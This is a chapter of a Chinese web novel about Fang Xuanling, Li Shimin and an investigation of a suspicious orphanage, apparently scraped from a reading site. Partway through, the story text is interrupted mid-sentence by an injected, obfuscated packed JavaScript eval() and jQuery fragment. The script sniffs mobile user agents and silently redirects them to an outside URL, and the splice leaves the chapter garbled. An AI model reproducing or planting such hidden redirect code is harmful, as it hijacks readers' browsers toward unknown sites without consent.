26. 第二十六章
作品:《房玄龄初恋记事》 而出了房门的房玄龄,顿下脚步,微微侧身,朝身后望去,短暂停留片刻,便朝李世民住所方向走去。
也许只有忙碌,才能让他收获片刻的安宁。但李世民早已带着人出门,去查育婴堂具体怎么回事。
城东老槐树下出现四个鬼鬼祟祟的身影。寒风吹过,枯枝轻颤,细碎的光影在四人身上粼粼而动。正是李世民带着长孙无忌、杜如晦和李四娘到了育婴堂附近。
至于这几个人怎么凑到一起的,那就要问李世民了。他觉得暗访问话还是杜如晦这种没长大的小毛孩搭配武力值超高的女娘,更容易让人放下警惕心,也能保证安全。
所以他很不客气就把两人拽上当苦力了。
果不其然。没过多久,两人问话就满载而归。
如今官府控制粥棚,又在按人头分地,百姓生活条件已经好上很多。街道上重新恢复人烟,虽稀少,却有着蓬勃的生命力。
不过育婴堂附近还是挺奇怪的,人有点多。
杜如晦和李四娘问了几位老妪和小娘子,发现贺家这育婴堂口碑还不错。
他们其实不止是今年,其它灾年或寻常年间,谁家过不去,皆可把孩子送到育婴堂来。孩子进去后会吃的比外面饱,穿的比外面暖。堂内来来往往的奴仆看着生活条件也比较优越,眉目和善,总归听起来比在外面吃苦受难强。
所以很多为了孩子能活下去的双亲,在自己实在无力负担时,就会把孩子送过来。
就是有一点规则比较苛刻。这些孩子进去后,再想探视是万万不能的。因为他们其中有一些可能会被高门大户看中收养,所以很怕亲生父母打扰。无论是谁都不允许探视。
李世民冷“呵”一声,搓了搓指节,嘲讽道:“只在门口能看见什么,不让探视,就是最大的有鬼。”
杜如晦丈二和尚摸不着头脑。“可是,收养孩子能做出什么龌龊事来?”
除了长孙无忌仍旧面无表情,李世民和李四娘齐齐看向杜如晦,一言难尽。
被保护得太好的大家族子弟是这样的,出身富贵,见惯了和善的笑脸。根本不知道这世间的阴暗。小孩子确实不容易引起别人注意,但正是因为这样,少多少个都没人发现。
“被收养的绝对有水分。要是能查到这育婴堂记录孩子去留的名单就好了。”
李世民说完,目光顿了顿,蓦地落在李四娘身上。
“那个,四娘会传说中的缩骨功对吧?”
不然也不可能从一个八岁大的孩子直接长到十三岁。
李四娘一怔,没料到李世民第一个就想起自己。心下一喜,又有些惶恐。“我最低只能伪装到八岁,不知道算不算超龄。”
李世民摆摆手。“没事,这贺家家主不是大善人嘛,过不下去了,别管八岁还是九岁,那养不起了也没办法啊!”
好一番无赖的说辞。
不过听上去不错,李四娘应了。
对她来说,在谁手底下干活都行。答应萧铣接近卢沅芷也是为了自己不会再过得那么苦。只要别把她放回那爬不起身的泥堆里,什么育婴堂、什么龙潭虎穴,她都愿意闯一闯!
李世民:“你放心,辅机会带人一直在附近看着,如果有危险,你就想办法点火,或者弄出些动静儿,他们会马上冲进去救你。”
交代完,李世民又从自己手下中找了个戏精。这戏精也是有本事,将自己和李四娘浑身上下裹满了泥浆,头发一绺一绺贴在身上,打扮得那叫一个埋汰,味道直冲鼻腔,比难民还难民。
引得李世民几人捂着鼻翼连连后退。
戏精嘿嘿一笑,带着李四娘一番唱念做打,还真把贺家那两个看门的给唬住了。尽管年纪有点大,李四娘也被成功送了进去。
按照原计划,长孙无忌留下带着一支兵接应,李世民背过手带杜如晦回官舍等信。
——
房玄龄站在门口,看着空空的书房,苦涩的底味里,泛起一丝酸涩。索性回去揪二宝过来。
亲眼望见屠杀场面,二宝回来时吓得七魂丢了三魄,这几天将将缓过劲儿来。
不承想,就听说此等惊天秘闻!卢娘子那般仙女儿似的人物竟然有个婚前情人?还就在罗川当主簿!更想不到他一向精明的郎君,脑子仿佛被驴踢了。
“郎君啊!这事还用查?你如果还喜欢娘子,把萧铣弄死就完事,一了百了。如果不喜欢娘子也可以和离,纠结什么呢?你莫非是怕娘子和离后找萧铣?会让你丢了面子?”
要二宝说完全没必要,真和离卢娘子找什么人他家郎君都管不了。
房玄龄横瞪二宝一眼,说得这是什么话!“你懂什么?事情还未查清。”
二宝挑了挑眉,心道‘郎君就嘴硬吧!真觉得没查清还纠结什么?’
他瞥了眼自家郎君,贱兮兮凑上前。“郎君,你这模样,会不会是得了那个,那个叫什么来着?”想着想着,二宝眼前一亮,拍了下脑门大声道:“对对对!就那个相思疾!”
房玄龄起先没反应过来,把这三个字在嘴上重复一遍后,沉着脸,拿起书卷直接敲上二宝圆滚滚的后脑勺。
这一下很用力,敲得二宝晕乎乎的。
房玄龄训斥道:“什么相思疾!你家娘子性格面团儿似的,肯定不会骗我,问题多半出在萧铣和卢家身上。”
“是是是!郎君说得是!”二宝撅着嘴,觉得自家郎君庸人自扰。本着做人奴仆为主子分忧的基本素养。他再一次凑到房玄龄耳边。“小的有一计,或可解郎君烦忧。”
房玄龄闻言没吭声,但也没拒绝。轻咳两声,自顾自拿起书本,神态自若,好似没听到刚才二宝说的话。
二宝一看便懂了。这是让他继续说的意思。
“郎君!要想俏,一身孝!你就穿上一身白,拿上酒盏去找娘子,不经意间展现下自己棱角分明的下颌,一饮而尽。让酒液沿着脖颈流到领口内,若隐若现。再慢慢吞咽下去,喉结滚动,脖颈上青筋微微凸起。包管娘子看了主动拉你到床上歇息。夫妻之间嘛!有什么事是睡一觉解决不了的?”
这可是他从无数话本中总结出的经验。美男计!
一定迷得卢娘子欲罢不能。
二宝越想越激动,眼神发亮看向房玄龄,露出一副‘快夸我’的表情。
不料下一秒,一记铁砂掌直直朝他拍了过来。
“哎哟!”
二宝摸着脑后,鼓鼓肿起一个包,呲牙咧嘴的叫唤。
“郎君下手也太重了。”
房玄龄才不管,重新拿起书卷淡淡道:“我就多余听你说话!”
二宝困惑不解,这么好的点子还不行?然后他就又挨了一掌。
二宝彻底懵了,瞪着一双无辜的眼睛,像是受了多大虐待。
房玄龄看不下去,直接吩咐道:“你亲自去河东查一下萧铣什么来路。千万记住!别走漏消息。”
二宝撇撇嘴,果然还是贼心不死!盼望着卢娘子和萧铣什么事都没有呢。真舍不得直接用他的方法不行吗?还费劲忙活那萧铣。
他耷拉着脸应下此事,行礼准备退下。
咦!不太对劲儿。
“那个...郎君,书…书拿反了。”
房玄龄:“……”
当晚,夜色如墨,徐徐落下,圆月高悬,灯笼星光点点,将官舍染做暖色。
卢沅芷安抚一番小篆后,回房照常寻了安神香,点燃放入熏炉中,放下帷幔歇息。
小楷隔着床帐,视线掠过帷幔内身影,咬住唇瓣小心询问:“娘子,今日不问郎君是否回来歇息吗?”
“不问了。”
反正房玄龄也不会回来的。
与此同时,房玄龄歇下,躺在床榻上,翻来覆去辗转难眠。
想起二宝白日说的方法,画面在他脑海中闪过。
酒液划过喉结、脖颈,青筋微动.....
房玄龄回过神连忙摇
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15645406|171018||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
摇头,总觉得真这么干卢沅芷可能会以为他有病。
越想越烦躁,明明做事方面他一向果断。就遇上卢沅芷之后,总是犹犹豫豫。
心烦意乱地睡不着,房玄龄索性坐起身。脚下踩到厚软的鞋垫,柔软,舒适,与往常完全不同的触感。
那是从针线笼里翻出来,卢沅芷给他做的长靴。
房玄龄将长靴举过胸口,仔细打量,藏青色下,金色的卷云纹波光流淌,庄严肃穆,针脚细密,构思精妙。
一看便是花心思做的。
卢沅芷一介高门贵女,如果真的和萧铣有情,根本没必要花心思讨好他。
经过这么长时间的相处,房玄龄自认对卢沅芷有一定了解。她行事虽开明,性格却古板。
每天穿戴一丝不苟,行礼屈膝角度一成不变。笑不露齿,寝食不言。
很难想象这样的人会和外男有什么不恰当来往。
只是,解释不清的种种巧合,又在他喉咙口哽住,吞不下,吐不出。
他最过不去的是,卢沅芷很在意萧铣的性命。或许,连她自己都没意识到,在他提出做掉萧铣时,眼底的惶恐和身体的微颤,完完全全暴露她心底的想法。
但...话又说回来了。卢沅芷对鱼儿一个婢女都肯握刀相护。那么卢家害了萧铣亲娘,她在意萧铣的生死也说得通。
房玄龄放下长靴,阖上眼,重新躺回床上。
半晌,他扯起嘴角,慢慢笑出声。笑声从小到大,自嘲中带着萎靡,委实不算好听。
他房玄龄竟然有一天要亲自给自己娘子找解释。可笑!简直可笑至极!
房玄龄猛地起身拿起那双长靴,狠狠向远处掷去,心中升腾起莫名的愤怒与不甘。以及自己都未察觉的失落。
良久,他躺回床上,呼吸喘得厉害,眸光却渐渐冷静下来。
“二宝!沏茶!”
没人回应。
房玄龄想起来,今天他把二宝派去河东了。
不知怎的,明明从小到大都孤寝冷枕自己睡,现在跟卢沅芷待久了,自己睡反而不习惯。
茶不合胃口,被子也没有熟悉的苏合香气。
就这么睁眼睡着,丑时房玄龄便决定起床赏月。
杜如晦亦未寝。
“克明啊~”
杜如晦铁青着一张脸开门,没好气道:“你到底有什么事?”
“没事,找你问问今天育婴堂查得怎么样。”
‘没事’入耳,杜如晦咬牙,再咬牙。想关门的手险些不受控制,呼房玄龄脸上。好半天才恶狠狠回答:“李四娘潜进去,长孙无忌在外面接应,有消息会通知的!”
说完,杜如晦就要关门。不过房玄龄不走,用身子压住一侧,淡淡道:“安排得不错嘛。”
不错你倒是睡觉啊!杜如晦气得不行,他本来今天就因为自己什么都帮不上忙而烦,大半夜房玄龄这个癫人还拉着他不睡觉。
搁谁,谁不烦啊!
他有时候真觉得自己针对别人不是自己的问题,而是房玄龄的问题。
因为房玄龄总是欺负她,让他变得很暴躁!
杜如晦:“你知道现在什么时辰吗房玄龄!”
“丑时。”
“你还知道是丑时!丑时你不睡觉!你要干嘛啊!”杜如晦大吼出声,房玄龄却是佁然不动,脸上一丝变化也无。“克明,你还没发现一件事吗?”
杜如晦不理解,什么事情需要丑时发现?
房玄龄拽着杜如晦行至院中,望月感慨:“你马上就到成婚的年纪了?有没有想过找个什么样的妻子?”
杜如晦:“???”好像没听清,什么东西?
十三岁的少年满身黑气,在月光下尤为显眼。他直愣愣瞪着房玄龄,语气不善。“你再说一遍。”
房玄龄不吭声,从怀中掏出胡瓶,拉着人道:“来,今日你我兄弟二人,一醉方休。”
......